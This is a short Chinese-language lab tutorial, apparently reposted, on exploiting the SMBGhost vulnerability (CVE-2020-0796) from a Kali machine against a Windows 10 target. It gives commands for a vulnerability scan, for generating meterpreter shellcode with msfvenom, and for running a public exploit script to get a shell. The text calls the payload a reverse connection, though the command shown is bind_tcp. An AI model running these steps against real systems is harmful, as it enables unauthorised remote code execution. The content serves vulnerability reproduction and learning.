永恆之黑CVE-2020-0796漏洞利用


1.永恆之黑漏洞復現需要准備三個東西,1個為kali攻擊機,一個為win10靶機(關閉防火牆)

kali:192.168.15.128

win10:192.168.15.133

1.以下下是准備好的poc工具

 2.首先第一步我們對靶機進行漏洞檢測,使用到的是SMBGhost這個工具進行漏洞檢測,python3 scanner.py 192.168.15.133

cd進入目錄后查看

 檢測出來存在該漏洞

 3.下一步我們用msf生成一個編碼為X00的shellcode,反向連接木馬 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

 4.打開POC文件將里面的exploit.py buf后面的代碼進行修改

 

 

 5.將exploit里面的內容進行替換,然后保存文件,在kali里面運行

 5.下一步我們進入msf,然后設置好ip和反彈連接端口,然后開啟端口監聽

 6.下一步我們用剛才的腳本進行攻擊等待shell連接,python3 exploit -ip 192.168.15.133

 7.如果拿不到shell就多點幾次,成功拿到shell!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM